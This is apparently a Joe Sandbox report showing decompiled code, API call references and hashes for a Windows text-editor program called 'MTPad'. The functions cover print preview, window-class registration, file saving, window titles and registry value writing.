					 *((intOrPtr*)(_t84 + 0x504)) = 0;
					 *((intOrPtr*)(_t84 + 0x4f8)) = 0;
					 *((intOrPtr*)(_t84 + 0x508)) = 0;
					 *((intOrPtr*)(_t84 + 0x50c)) = _t39 - 1;
					E000F66C0(0, _t84 + 0x4e8);
					GetClientRect( *(_t84 + 4),  &_v24);
					_v28 =  *(_t84 + 4);
					__eflags =  *0x15add0; // 0x0
					if(__eflags == 0) {
						 *0x15add0 = 0;
					}
					E00103ED0(_t84 + 0x4c4, E00103FF0(0x15ada0, 0x170c04, _t84 + 0x4e4) & 0x0000ffff, _v28,  &_v24, 0, 0x56000000, 0, 0);
					ShowWindow( *(_t84 + 0x4c8), 5);
					SetWindowPos( *(_t84 + 0x4c8), 0, 0, 0, 0, 0, 0x43);
					ShowWindow( *(_t84 + 0x2c), 0);
					 *(_t84 + 0x524) =  *(_t84 + 0x2c);
					 *(_t84 + 0x2c) =  *(_t84 + 0x4c8);
					SendMessageA( *(_t84 + 0x24), 0x423, 1, 0);
					SendMessageA( *(_t84 + 0x24), 0x423, 2, 1);
					E000FA7D0(E00103FF0(0x15ada0, 0x170c04, _t84 + 0x4e4) & 0x0000ffff, _t84, __eflags, 1);
					__eflags = 0;
					return E001059E6(0, E00103FF0(0x15ada0, 0x170c04, _t84 + 0x4e4) & 0x0000ffff, _v8 ^ _t91,  *(_t84 + 0x4c8), _t84, SendMessageA);
				} else {
					MessageBoxA( *(__edi + 4), "Print preview operation failed", "MTPad", 0x10);
					return E001059E6(0, _t62, _v8 ^ _t91, _t78, __edi, _t85);
				}
			}

0x000f93a0
0x000f93a0
0x000f93a6
0x000f93ad
0x000f93ba
0x000f93e6
0x000f93e8
0x000f93ef
0x000f93ef
0x000f93ea
0x000f93ea
0x000f93ea
0x000f93f1
0x000f93f7
0x000f93fd
0x000f9403
0x000f9409
0x000f940b
0x000f940b
0x000f9411
0x000f9417
0x000f941d
0x000f9423
0x000f9429
0x000f9438
0x000f943e
0x000f9444
0x000f9451
0x000f945c
0x000f945f
0x000f9465
0x000f9467
0x000f9467
0x000f94a1
0x000f94b5
0x000f94ca
0x000f94d6
0x000f94f4
0x000f94fa
0x000f94fd
0x000f950c
0x000f9512
0x000f951d
0x000f9528
0x000f93bc
0x000f93cc
0x000f93e3
0x000f93e3

APIs

MessageBoxA.USER32 ref: 000F93CC
GetClientRect.USER32 ref: 000F9451
ShowWindow.USER32(?,00000005,?,?,00000000,56000000,00000000,00000000,?,?), ref: 000F94B5
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000043,?,?), ref: 000F94CA
ShowWindow.USER32(?,00000000,?,?), ref: 000F94D6
SendMessageA.USER32(?,00000423,00000001,00000000), ref: 000F94FD
SendMessageA.USER32(?,00000423,00000002,00000001), ref: 000F950C

Strings

MTPad, xrefs: 000F93C1
Print preview operation failed, xrefs: 000F93C6

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: MessageWindow$SendShow$ClientRect
String ID: MTPad$Print preview operation failed
API String ID: 3447962482-1460434131
Opcode ID: 1ee0edf760b5823964e2fbf4a8eb6fdb061ce5a39111f3e8988208c92496a0ee
Instruction ID: 3a212d54cb689b8dfcf785fce241049eebfa008778a4bbaa6751e2561bad8b20
Opcode Fuzzy Hash: 1ee0edf760b5823964e2fbf4a8eb6fdb061ce5a39111f3e8988208c92496a0ee
Instruction Fuzzy Hash: 6B4190B1B0060AABC718DF64DD81FAAF7A8FB48301F00421AF61997680DBB0B950CFD4

Uniqueness

Uniqueness Score: -1.00%

Function 00103FF0 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 117
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00103FF0(void* __ebx, intOrPtr _a4, intOrPtr* _a8) {
				wchar_t* _v8;
				intOrPtr _v12;
				char _v16;
				struct _CRITICAL_SECTION* _v20;
				struct _WNDCLASSEXA _v68;
				struct _WNDCLASSEXA _v116;
				CHAR* _t53;
				struct HINSTANCE__* _t55;
				CHAR* _t58;
				int _t59;
				void* _t69;
				wchar_t* _t96;
				void* _t99;

				_t69 = __ebx;
				if(__ebx == 0 || _a8 == 0) {
					L8:
					return 0;
				} else {
					if( *((short*)(__ebx + 0x40)) != 0) {
						L19:
						if( *(_t69 + 0x30) != 0) {
							_t47 = _t69 + 0x34; // 0x0
							 *_a8 =  *_t47;
						}
						_t49 = _t69 + 0x40; // 0x0
						return  *_t49;
					} else {
						_v20 = 0x170c68;
						EnterCriticalSection(0x170c68);
						_v16 = 1;
						if( *((short*)(__ebx + 0x40)) != 0) {
							L18:
							LeaveCriticalSection(0x170c68);
							goto L19;
						} else {
							_t6 = _t69 + 0x30; // 0x0
							_t53 =  *_t6;
							if(_t53 == 0) {
								if( *((intOrPtr*)(__ebx + 0x3c)) == 0) {
									_t55 =  *(_a4 + 8);
								} else {
									_t55 = 0;
								}
								_t29 = _t69 + 0x38; // 0x7f00
								 *((intOrPtr*)(_t69 + 0x1c)) = LoadCursorA(_t55,  *_t29);
								goto L14;
							} else {
								_t7 = _t69 + 0x28; // 0x112608
								_t8 = _t69 + 8; // 0x104140
								_v8 =  *_t7;
								_v12 =  *_t8;
								_v68.cbSize = 0x30;
								if(GetClassInfoExA(0, _t53,  &_v68) != 0) {
									L9:
									memcpy(_t69,  &_v68, 0xc << 2);
									_t99 = _t99 + 0xc;
									_t21 = _t69 + 8; // 0x104140
									 *((intOrPtr*)(_t69 + 0x34)) =  *_t21;
									 *(_t69 + 0x28) = _v8;
									 *((intOrPtr*)(_t69 + 8)) = _v12;
									L14:
									 *(_t69 + 4) =  *(_t69 + 4) & 0xffffbfff;
									 *(_t69 + 0x14) =  *(_a4 + 4);
									if( *(_t69 + 0x28) == 0) {
										_t37 = _t69 + 0x42; // 0x15ade2
										_t96 = _t37;
										swprintf(_t96, 0x25, "ATL:%p", _t69);
										_t99 = _t99 + 0x10;
										 *(_t69 + 0x28) = _t96;
									}
									_t58 = memcpy( &_v116, _t69, 0xc << 2);
									_t43 = _t69 + 0x14; // 0x0
									_t75 =  *_t43;
									_t59 = GetClassInfoExA( *_t43, _t58,  &_v116);
									 *(_t69 + 0x40) = _t59;
									if(_t59 == 0) {
										 *(_t69 + 0x40) = E000F4E50(_t69, _t75);
									}
									goto L18;
								} else {
									_t15 = _t69 + 0x30; // 0x0
									if(GetClassInfoExA( *(_a4 + 4),  *_t15,  &_v68) != 0) {
										goto L9;
									} else {
										E00103D20( &_v20);
										goto L8;
									}
								}
							}
						}
					}
				}
			}

0x00103ff0
0x00103ffa
0x00104078
0x0010407f
0x00104002
0x00104007
0x00104128
0x0010412c
0x0010412e
0x00104134
0x00104134
0x00104136
0x0010413f
0x0010400d
0x00104012
0x00104019
0x00104024
0x00104028
0x0010411d
0x00104122
0x00000000
0x0010402e
0x0010402e
0x0010402e
0x00104033
0x001040a4
0x001040ad
0x001040a6
0x001040a6
0x001040a6
0x001040b0
0x001040bb
0x00000000
0x00104035
0x00104035
0x00104038
0x00104041
0x0010404b
0x0010404e
0x00104059
0x00104080
0x0010408d
0x0010408d
0x0010408f
0x00104095
0x00104098
0x0010409b
0x001040be
0x001040c4
0x001040cf
0x001040d2
0x001040da
0x001040da
0x001040e0
0x001040e5
0x001040e8
0x001040e8
0x001040fc
0x001040fe
0x001040fe
0x00104103
0x00104109
0x00104110
0x00104119
0x00104119
0x00000000
0x0010405b
0x00104061
0x0010406e
0x00000000
0x00104070
0x00104073
0x00000000
0x00104073
0x0010406e
0x00104059
0x00104033
0x00104028
0x00104007

APIs

EnterCriticalSection.KERNEL32(00170C68,?,00000000), ref: 00104019
GetClassInfoExA.USER32(00000000,00000000,?), ref: 00104055
GetClassInfoExA.USER32(?,00000000,00000030), ref: 0010406A

Part of subcall function 00103D20: LeaveCriticalSection.KERNEL32(00000000,74914ED0,00104078,?,00000000), ref: 00103D2C

LoadCursorA.USER32 ref: 001040B5
swprintf.LIBCMT ref: 001040E0
GetClassInfoExA.USER32(00000000,00112608,?), ref: 00104103
LeaveCriticalSection.KERNEL32(00170C68,?,00000000), ref: 00104122

Strings

ATL:%p, xrefs: 001040D5
0, xrefs: 0010404E

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: ClassCriticalInfoSection$Leave$CursorEnterLoadswprintf
String ID: 0$ATL:%p
API String ID: 1916026773-2453800769
Opcode ID: 03e309b1f0e37d82f844a75f0e50e1959b0b0ef0ac0a8875f16450849c87c28e
Instruction ID: 392b2d35d4ee852ac8e620b0146b188284fe851cab08ef5ce43d69cfbde4ce04
Opcode Fuzzy Hash: 03e309b1f0e37d82f844a75f0e50e1959b0b0ef0ac0a8875f16450849c87c28e
Instruction Fuzzy Hash: DC416FB5900204DBDF19DF54D9C4AAA7BB8FF48310F108299EE449B289E7B1ED85CB91

Uniqueness

Uniqueness Score: -1.00%

Function 000F84D0 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 97
stringwindowCOMMON

Download Yara Rule

C-Code - Quality: 95%

			E000F84D0(void* __ecx, void* __eflags) {
				signed int _v8;
				char _v272;
				char _v528;
				int _v532;
				intOrPtr _v552;
				int _v560;
				intOrPtr _v568;
				intOrPtr _v580;
				CHAR* _v584;
				intOrPtr _v588;
				CHAR* _v592;
				int _v608;
				intOrPtr _v612;
				int _v616;
				char _v620;
				int _v624;
				int _v628;
				int _v632;
				int _v648;
				char _v652;
				int _v656;
				CHAR* _v660;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t41;
				struct HWND__* _t47;
				intOrPtr _t54;
				void* _t72;
				void* _t73;
				signed int _t75;

				_t41 =  *0x159060; // 0x1f9a9bdf
				_v8 = _t41 ^ _t75;
				_t72 = __ecx;
				_v656 = 0;
				_v648 = 0;
				_v632 = 0;
				_v628 = 0;
				_v624 = 0;
				E00106820( &_v620, 0, 0x58);
				_v272 = 0;
				_v528 = 0;
				_v532 = 0;
				_v620 = 0x58;
				if(E000F4890(0, _t72, _t73) != 0) {
					_v620 = 0x4c;
				}
				_t70 =  &_v528;
				_v592 =  &_v272;
				_v588 = 0x104;
				_v560 = 0;
				_v584 =  &_v528;
				_v580 = 0x100;
				_v568 = 0x880026;
				_v608 = 0;
				_v612 =  *0x170c0c;
				_v552 = E00103D40;
				_v616 = 0;
				_v652 = 0x112d54;
				_t47 = GetActiveWindow();
				_t74 =  &_v652;
				if(E000FADC0(_t47,  &_v652) == 1) {
					_t74 = _t72 + 0x250;
					_t54 = E000F7250(_v592, _t74);
					_v656 = _t54;
					if(_t54 == 0) {
						MessageBoxA( *(_t72 + 4), "Error writing file!\n", 0x11293e, 0);
					} else {
						_v660 = _v584;
						lstrcpyA(_t74 + 0x58, _v592);
						_t70 = _t74 + 0x15c;
						lstrcpyA(_t74 + 0x15c, _v660);
						SendMessageA( *(_t74 + 4), 0xb9, 0, 0);
						E000F8160(_t72);
					}
				}
				_t49 = _v632;
				if(_v632 != 0) {
					E00105701(_t49);
				}
				return E001059E6(_v656, 0, _v8 ^ _t75, _t70, _t72, _t74);
			}

0x000f84d9
0x000f84e0
0x000f84f2
0x000f84f4
0x000f84fa
0x000f8500
0x000f8506
0x000f850c
0x000f8512
0x000f851a
0x000f8520
0x000f8526
0x000f852c
0x000f853d
0x000f853f
0x000f853f
0x000f8554
0x000f855a
0x000f8560
0x000f856a
0x000f8570
0x000f8576
0x000f8580
0x000f858a
0x000f8590
0x000f8596
0x000f85a0
0x000f85a6
0x000f85b0
0x000f85b6
0x000f85c4
0x000f85cc
0x000f85d3
0x000f85d8
0x000f85e0
0x000f863a
0x000f85e2
0x000f85f3
0x000f85f9
0x000f8606
0x000f860d
0x000f861e
0x000f8624
0x000f8624
0x000f85e0
0x000f8640
0x000f8648
0x000f864b
0x000f864b
0x000f8666

APIs

_memset.LIBCMT ref: 000F8512

Part of subcall function 000F4890: _memset.LIBCMT ref: 000F48B1
Part of subcall function 000F4890: GetVersionExA.KERNEL32(?), ref: 000F48CA

GetActiveWindow.USER32 ref: 000F85B0
lstrcpyA.KERNEL32(?,?,?,?,?), ref: 000F85F9
lstrcpyA.KERNEL32(?,?,?,?,?), ref: 000F860D
SendMessageA.USER32(?,000000B9,00000000,00000000), ref: 000F861E
MessageBoxA.USER32 ref: 000F863A

Strings

L, xrefs: 000F853F
Error writing file!, xrefs: 000F8634
&, xrefs: 000F8580

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: Message_memsetlstrcpy$ActiveSendVersionWindow
String ID: &$Error writing file!$L
API String ID: 238307538-43552360
Opcode ID: c7d9fd1dfe6715fb0de3927f2dee9dddac1a2950717d87b902e6b2371e2642fe
Instruction ID: c055abfa56d266cc0ad7a3c80afa30611f59f3ebe34141abad44f1cb473ae933
Opcode Fuzzy Hash: c7d9fd1dfe6715fb0de3927f2dee9dddac1a2950717d87b902e6b2371e2642fe
Instruction Fuzzy Hash: 504105B590122D9FCB60EF65DD88AEAB7B8FB08304F1081E9E60DA7240CB705E84CF50

Uniqueness

Uniqueness Score: -1.00%

Function 000F8160 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 57
stringCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E000F8160(void* __edi) {
				signed int _v8;
				char _v264;
				int _v268;
				void* _v276;
				void* __ebx;
				void* __esi;
				signed int _t14;
				CHAR* _t30;
				void* _t31;
				void* _t38;
				CHAR* _t40;
				signed int _t41;
				CHAR* _t42;

				_t38 = __edi;
				_t14 =  *0x159060; // 0x1f9a9bdf
				_v8 = _t14 ^ _t41;
				_t30 = __edi + 0x3ac;
				_v268 = lstrlenA(_t30);
				LoadStringA( *0x170c0c, 0x80,  &_v264, 0xff);
				E0010ACA0(lstrlenA( &_v264) + _v268 + 5);
				_t40 = _t42;
				lstrcpyA(_t40, _t30);
				_t31 = lstrcatA;
				if( *((intOrPtr*)(__edi + 0x4b4)) != 0) {
					lstrcatA(_t40, "*");
				}
				lstrcatA(_t40, " - ");
				lstrcatA(_t40,  &_v264);
				SetWindowTextA( *(_t38 + 4), _t40);
				return E001059E6(0, _t31, _v8 ^ _t41,  &_v264, _t38, _t40);
			}

0x000f8160
0x000f8169
0x000f8170
0x000f817b
0x000f818f
0x000f81a2
0x000f81bb
0x000f81c0
0x000f81c4
0x000f81d1
0x000f81d7
0x000f81df
0x000f81df
0x000f81e7
0x000f81f1
0x000f81f8
0x000f8215

APIs

lstrlenA.KERNEL32(?,?,?), ref: 000F8182
LoadStringA.USER32 ref: 000F81A2
lstrlenA.KERNEL32(?,?,?), ref: 000F81AF
lstrcpyA.KERNEL32(?,?,?,?), ref: 000F81C4
lstrcatA.KERNEL32(?,00112A2C), ref: 000F81DF
lstrcatA.KERNEL32(?, - ), ref: 000F81E7
lstrcatA.KERNEL32(?,?,?, - ), ref: 000F81F1
SetWindowTextA.USER32(?), ref: 000F81F8

Strings

- , xrefs: 000F81E1

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: lstrcat$lstrlen$LoadStringTextWindowlstrcpy
String ID: -
API String ID: 730805527-3695764949
Opcode ID: 6e5d94c466ad12c83ef93a5de6b354935c5eb090f15ea2bd576832cc7dcdea4f
Instruction ID: 77892afc44ce43fde01c49832d3abb3af1785da3d87e6c86509d87ef7c7471cb
Opcode Fuzzy Hash: 6e5d94c466ad12c83ef93a5de6b354935c5eb090f15ea2bd576832cc7dcdea4f
Instruction Fuzzy Hash: 67116A71A1022CABD715EB64DD85EEAB7BCFF08304F004195F64997441DBB4AEC48BA4

Uniqueness

Uniqueness Score: -1.00%

Function 000F2D60 Relevance: 15.3, APIs: 10, Instructions: 327
stringCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E000F2D60(void* __ecx, unsigned int __edx, intOrPtr _a4, void** _a8) {
				char* _v8;
				char _v16;
				intOrPtr _v20;
				signed int _v24;
				char _v4124;
				char _v4384;
				char* _v4388;
				char* _v4392;
				char _v4396;
				char* _v4400;
				void** _v4404;
				intOrPtr _v4408;
				char _v4412;
				unsigned int _v4416;
				void* _v4436;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t91;
				signed int _t92;
				void* _t99;
				signed int _t102;
				signed int _t104;
				void* _t106;
				CHAR* _t112;
				signed int _t114;
				signed int _t115;
				int _t119;
				signed int _t121;
				signed int _t126;
				signed int _t131;
				signed char _t135;
				signed int _t140;
				intOrPtr _t147;
				signed char _t148;
				void* _t155;
				signed int _t157;
				signed int _t158;
				unsigned int _t159;
				signed char _t160;
				char _t168;
				void* _t174;
				void* _t177;
				signed int* _t190;
				void* _t193;
				int _t198;
				intOrPtr _t201;
				void* _t202;
				CHAR* _t204;
				intOrPtr _t207;
				signed int _t210;
				signed int _t211;
				intOrPtr _t212;
				void* _t214;
				void* _t215;
				intOrPtr _t216;

				_t182 = __edx;
				_t161 = __ecx;
				_push(0xffffffff);
				_push(E0010F581);
				_push( *[fs:0x0]);
				_push(__ecx);
				E00108940(0x1130);
				_t91 =  *0x159060; // 0x1f9a9bdf
				_t92 = _t91 ^ _t211;
				_v24 = _t92;
				_push(_t92);
				 *[fs:0x0] =  &_v16;
				_v20 = _t212;
				_t201 = _a4;
				_v4404 = _a8;
				_v4408 = _t201;
				_v4400 = __ecx;
				_v4416 = __edx;
				_v4392 = 0;
				if(E000F2BE0( &_v4124, __ecx, _t201) < 0) {
					L65:
					 *[fs:0x0] = _v16;
					_pop(_t193);
					_pop(_t202);
					_pop(_t155);
					return E001059E6(_t96, _t155, _v24 ^ _t211, _t182, _t193, _t202);
				}
				_t99 = E000F2AB0( &_v4124,  &_v4392);
				_t214 = _t212 + 4;
				if(_t99 != 0) {
					E000F2B90(_t201);
					_t194 = _t201;
					_t96 = E000F2BE0( &_v4124, _t161, _t201);
					__eflags = _t96;
					if(_t96 < 0) {
						goto L65;
					}
					_t102 = _v4392 & 0x0000ffff;
					__eflags = _t102 - 0x13;
					if(__eflags > 0) {
						__eflags = _t102 - 0x4008;
						if(_t102 != 0x4008) {
							L64:
							_t104 = E000F2BE0(_v4416, _t161, _v4408);
							__eflags = _t104;
							_t182 = (__eflags > 0) - 1;
							_t96 = _t104 & (__eflags > 0x00000000) - 0x00000001;
							__eflags = _t104 & (__eflags > 0x00000000) - 0x00000001;
							goto L65;
						}
						_t182 =  &_v4124;
						_t106 = lstrlenA( &_v4124) + 2;
						_v4388 = 0;
						_v8 = 0;
						_v8 = 1;
						__eflags = 0;
						if(0 > 0) {
							L43:
							_push(0x80070216);
							_t106 = E000F1170(_t182);
							L44:
							__eflags = _t106 - 0x100;
							if(__eflags <= 0) {
								_t182 =  &_v4384;
								_v4388 =  &_v4384;
							} else {
								E000FFF60(_t106, _t182, _t194, 0, __eflags,  &_v4388);
							}
							_t157 = _v4388;
							__eflags = _t157;
							if(_t157 == 0) {
								_t158 = 0xe;
								goto L60;
							} else {
								__eflags = _v4124;
								_t204 =  &_v4124;
								if(_v4124 == 0) {
									L58:
									_t182 = _v4400;
									 *_t157 = 0;
									_t158 = E000F18D0(_v4404, _v4400, _v4388);
									L60:
									_t161 =  &_v4384;
									__eflags = _v4388 -  &_v4384;
									if(_v4388 !=  &_v4384) {
										E000FD040( &_v4388);
									}
									L62:
									__eflags = _t158;
									if(_t158 == 0) {
										goto L64;
									}
									_t96 = E000F1400(_t158);
									goto L65;
								}
								do {
									_t112 = CharNextA(_t204);
									_t168 =  *_t204;
									__eflags = _t168 - 0x5c;
									if(_t168 != 0x5c) {
										L53:
										 *_t157 = _t168;
										_t114 = IsDBCSLeadByte( *_t204 & 0x000000ff);
										__eflags = _t114;
										if(_t114 == 0) {
											L56:
											_t157 = _t157 + 1;
											_t204 =  &(_t204[1]);
											__eflags = _t204;
											goto L57;
										}
										_t115 = _t204[1];
										_t204 =  &(_t204[1]);
										_t157 = _t157 + 1;
										__eflags = _t115;
										if(_t115 == 0) {
											goto L58;
										}
										 *_t157 = _t115;
										goto L56;
									}
									__eflags =  *_t112 - 0x30;
									if( *_t112 != 0x30) {
										goto L53;
									}
									 *_t157 = 0;
									_t157 = _t157 + 1;
									_t204 = CharNextA(_t112);
									L57:
									__eflags =  *_t204;
								} while ( *_t204 != 0);
								goto L58;
							}
						}
						__eflags = _t106 - 0xffffffff;
						if(_t106 <= 0xffffffff) {
							goto L44;
						}
						goto L43;
					}
					if(__eflags == 0) {
						_v4392 = 0;
						_v8 = 3;
						_t119 = lstrlenA( &_v4124);
						_t170 =  &_v4396;
						_v4396 = _t119 + 1;
						_t121 = E000F1000(_t119 + 1, _t182,  &_v4396);
						_t215 = _t214 + 4;
						__eflags = _t121;
						if(_t121 < 0) {
							L38:
							E000FA200( &_v4392);
							_t96 = 0x8007000e;
							goto L65;
						}
						_t159 = _v4396;
						__eflags = _t159 - 0x400;
						if(_t159 > 0x400) {
							L36:
							_t207 = E000FA1D0(_t159, _t170, _t194,  &_v4392);
							L37:
							_t182 = _t159 >> 1;
							_t126 = E000F10E0( &_v4124, _t159 >> 1, _t207, 3);
							__eflags = _t126;
							if(_t126 != 0) {
								__imp__#277(_t126, 0, 0,  &_v4412);
								_t182 = _v4400;
								_v4396 = _v4412;
								_t161 =  *_v4404;
								_t158 = RegSetValueExA( *_v4404, _v4400, 0, 4,  &_v4396, 4);
								E000FA200( &_v4392);
								goto L62;
							}
							goto L38;
						}
						_t131 = E000F1030( &_v4396, _t182, _t159);
						_t216 = _t215 + 4;
						__eflags = _t131;
						if(_t131 == 0) {
							goto L36;
						}
						E0010ACA0(_t159);
						_v20 = _t216;
						_t207 = _t216;
						goto L37;
					}
					__eflags = _t102 - 8;
					if(_t102 == 8) {
						_t161 = _v4400;
						_t182 = _v4404;
						_t158 = E000F18A0( &_v4124, _v4404, _v4400);
						goto L62;
					}
					__eflags = _t102 - 0x11;
					if(_t102 != 0x11) {
						goto L64;
					}
					_t135 = lstrlenA( &_v4124);
					_t160 = _t135;
					_v4396 = _t160;
					__eflags = _t160 & 0x00000001;
					if((_t160 & 0x00000001) != 0) {
						L18:
						_t96 = 0x80004005;
						goto L65;
					}
					asm("cdq");
					_t198 = _t135 - _t182 >> 1;
					_v4392 = _t198;
					_v4388 = 0;
					_v8 = 4;
					_v8 = 5;
					__eflags = 0;
					if(0 > 0) {
						L11:
						_push(0x80070216);
						E000F1170(_t182);
						L12:
						__eflags = _t198 - 0x100;
						if(__eflags <= 0) {
							_v4388 =  &_v4384;
						} else {
							_t182 =  &_v4388;
							E000FFF60(_t198,  &_v4388, _t198, 0, __eflags,  &_v4388);
						}
						_t140 = _v4388;
						__eflags = _t140;
						if(_t140 != 0) {
							E00106820(_t140, 0, _t198);
							_t210 = 0;
							__eflags = _t160;
							if(_t160 <= 0) {
								L29:
								_t161 = _v4388;
								_t182 = _v4400;
								_t158 = RegSetValueExA( *_v4404, _v4400, 0, 3, _v4388, _t198);
								__eflags = _v4388 -  &_v4384;
								if(_v4388 !=  &_v4384) {
									E000FD040( &_v4388);
								}
								goto L62;
							}
							do {
								_t147 =  *((intOrPtr*)(_t211 + _t210 - 0x1018));
								_t190 =  &(_v4388[_t210 >> 1]);
								_t174 = _t147 + 0xffffffd0;
								__eflags = _t174 - 0x36;
								if(_t174 > 0x36) {
									L26:
									_t148 = 0;
									__eflags = 0;
									goto L27;
								}
								_t33 = _t174 + 0xf320c; // 0x43500003
								switch( *((intOrPtr*)(( *_t33 & 0x000000ff) * 4 +  &M000F31FC))) {
									case 0:
										_t148 = _t147 - 0x30;
										goto L27;
									case 1:
										__al = __al - 0x37;
										goto L27;
									case 2:
										__al = __al - 0x57;
										goto L27;
									case 3:
										goto L26;
								}
								L27:
								_t177 = (_t210 & 0x00000001) + (_t210 & 0x00000001);
								_t210 = _t210 + 1;
								 *_t190 =  *_t190 | _t148 << 0x00000004 - _t177 + _t177;
								__eflags = _t210 - _t160;
							} while (_t210 < _t160);
							_t198 = _v4392;
							goto L29;
						} else {
							__eflags =  &_v4384;
							if( &_v4384 != 0) {
								E000FD040( &_v4388);
							}
							goto L18;
						}
					}
					__eflags = _t198 - 0xffffffff;
					if(_t198 <= 0xffffffff) {
						goto L12;
					}
					goto L11;
				} else {
					_t96 = 0x80020009;
					goto L65;
				}
			}

0x000f2d60
0x000f2d60
0x000f2d63
0x000f2d65
0x000f2d70
0x000f2d71
0x000f2d77
0x000f2d7c
0x000f2d81
0x000f2d83
0x000f2d89
0x000f2d8d
0x000f2d93
0x000f2d99
0x000f2d9c
0x000f2daa
0x000f2db0
0x000f2db6
0x000f2dbc
0x000f2dcd
0x000f31d5
0x000f31de
0x000f31e6
0x000f31e7
0x000f31e8
0x000f31f6
0x000f31f6
0x000f2de0
0x000f2de5
0x000f2dea
0x000f2df6
0x000f2e01
0x000f2e03
0x000f2e0a
0x000f2e0c
0x00000000
0x00000000
0x000f2e12
0x000f2e19
0x000f2e1c
0x000f30a7
0x000f30ac
0x000f31ba
0x000f31c6
0x000f31cd
0x000f31d2
0x000f31d3
0x000f31d3
0x00000000
0x000f31d3
0x000f30b2
0x000f30bf
0x000f30c2
0x000f30ca
0x000f30cd
0x000f30d1
0x000f30d3
0x000f30da
0x000f30da
0x000f30df
0x000f30e4
0x000f30e4
0x000f30e9
0x000f3101
0x000f3107
0x000f30eb
0x000f30f2
0x000f30f2
0x000f310d
0x000f3113
0x000f3115
0x000f318f
0x00000000
0x000f3117
0x000f3117
0x000f311e
0x000f3124
0x000f316c
0x000f316c
0x000f3178
0x000f318b
0x000f3194
0x000f3194
0x000f319a
0x000f31a0
0x000f31a8
0x000f31a8
0x000f31ad
0x000f31ad
0x000f31af
0x00000000
0x00000000
0x000f31b3
0x00000000
0x000f31b3
0x000f3130
0x000f3131
0x000f3133
0x000f3135
0x000f3138
0x000f314a
0x000f314a
0x000f3150
0x000f3156
0x000f3158
0x000f3165
0x000f3165
0x000f3166
0x000f3166
0x00000000
0x000f3166
0x000f315a
0x000f315d
0x000f315e
0x000f315f
0x000f3161
0x00000000
0x00000000
0x000f3163
0x00000000
0x000f3163
0x000f313a
0x000f313d
0x00000000
0x00000000
0x000f313f
0x000f3143
0x000f3146
0x000f3167
0x000f3167
0x000f3167
0x00000000
0x000f3130
0x000f3115
0x000f30d5
0x000f30d8
0x00000000
0x00000000
0x00000000
0x000f30d8
0x000f2e22
0x000f2fbe
